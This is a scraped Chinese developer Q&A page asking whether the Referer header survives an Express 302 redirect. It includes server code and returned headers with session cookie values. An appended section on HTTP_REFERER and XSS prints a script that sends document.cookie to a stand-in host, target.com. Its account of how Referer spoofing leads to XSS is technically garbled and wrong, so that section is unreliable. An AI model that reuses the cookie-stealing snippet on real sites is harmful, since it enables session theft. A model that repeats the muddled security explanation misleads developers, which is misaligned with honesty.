java 重定向 设置referer_http,302_重定向下referer的问题,http,302,referer,重定向,node.js - phpStudy...

重定向下referer的问题

浏览器请求的'/'的时候,假如服务器重定向到'/test',这个时候请求'/test'的headers里面会有referer吗?为什么?怎样可以让浏览器带上?var express = require('express')

, http = require('http')

, path = require('path');

var app = express();

app.configure(function(){

app.set('port', process.env.PORT || 8888);

app.set('views', __dirname + '/views');

app.set('view engine', 'jade');

app.use(express.favicon());

app.use(express.logger('dev'));

app.use(express.bodyParser());

app.use(express.methodOverride());

app.use(app.router);

app.use(express.static(path.join(__dirname, 'public')));

});

app.configure('development', function(){

app.use(express.errorHandler());

});

app.get('/', function(req, res, next) {

res.redirect('/test');

});

app.get('/test', function(req, res, next) {

res.send(req.headers);

});

http.createServer(app).listen(app.get('port'), function(){

console.log("Express server listening on port " + app.get('port'));

});

返回:{

host: "localhost:8888",

connection: "keep-alive",

user-agent: "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.79 Safari/537.4",

accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",

accept-encoding: "gzip,deflate,sdch",

accept-language: "en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4",

accept-charset: "UTF-8,*;q=0.5",

cookie: "nd_secret=44f180cce9c8e88023d056a4b6a06a116d81dbf0de5c95349100946a3d6fbc294826df4b1bc4b5ba30927fb7002bd427; connect.sid=s%3A0ajlt%2FaQVFfX%2Fn%2F7Bi%2Ffa%2B9z.3z9KvkiqVTozWD%2BMIm8XOOwzoINHTATA0pH7sYOeM7o"

}

相关阅读:

在ie中上传图片,图片名包含中文上传出错,但在其他浏览器没问题。

webstorm代码样式怎么配置

gdb调试c++时,遇到endl就无法继续调试

jquery 在同一页面中 $(function(){ }) 这样的写法能写多少个?

django中url的定向问题,比如这个abc.com/cs/news,其中cs这个参数在HTML模板中如何表示?

作为java项目OutOfMemoryError怎么处理,不是javaweb,不是tomcat溢出?

iOS中类似于此种图片+文字的视图是如何实现的?

Java:如何在JButton的Listener中获取JButton?

初学laravel 遇到的问题

你觉得执行rm -rf *会是什么结果

求教这是什么字体?

js中获取元素碰到的问题

redis卡死无法读取数据如何解决?

求asp.net验证网址URL方法?

关于队列实时消费?

微信支付遇到了个问题 最新版本的 官方demo

Asp.net设计一个定时任务系统的问题

为啥要把DataView这个类用括号括起来?

微信公众号开发,外部网站,扫码加好友怎么实现?

git如何删除已经被merge到master和online分支且三天之内无commit的分支呢

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
HTTP_REFERER是HTTP协议中的一个请求头字段,用于标识请求来源页面的URL地址。在Web应用程序中,可以使用HTTP_REFERER来判断请求是否来自可信的来源页面,从而防止跨站点请求伪造(CSRF)攻击。但是,由于HTTP_REFERER可以被伪造,因此在某些情况下,攻击者可以利用HTTP_REFERER来进行XSS攻击。 具体来说,攻击者可以通过构造恶意页面,在其中注入一段JavaScript代码,并将该页面的URL地址设置为目标网站的URL地址。当用户访问恶意页面后,浏览器会将目标网站的URL地址作为HTTP_REFERER发送给目标网站服务器。如果目标网站没有对HTTP_REFERER进行有效的过滤和验证,那么攻击者就可以利用HTTP_REFERER来执行XSS攻击。 例如,攻击者可以在恶意页面中注入以下代码: ```javascript <script> var img = new Image(); img.src = "http://www.target.com/submit?data=" + document.cookie; </script> ``` 当用户访问恶意页面后,浏览器会将目标网站的URL地址作为HTTP_REFERER发送给目标网站服务器。如果目标网站没有对HTTP_REFERER进行有效的过滤和验证,那么攻击者就可以在目标网站上执行上述JavaScript代码,从而窃取用户的Cookie信息。 为了防止HTTP_REFERER的XSS攻击,Web应用程序可以采取以下措施: 1. 对HTTP_REFERER进行有效的过滤和验证,只允许来自可信的来源页面的请求通过; 2. 在HTTP响应头中设置Referrer-Policy,指定HTTP_REFERER的发送策略; 3. 在Web应用程序中使用CSRF Token等技术来防止CSRF攻击,从而减少HTTP_REFERER的安全风险。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值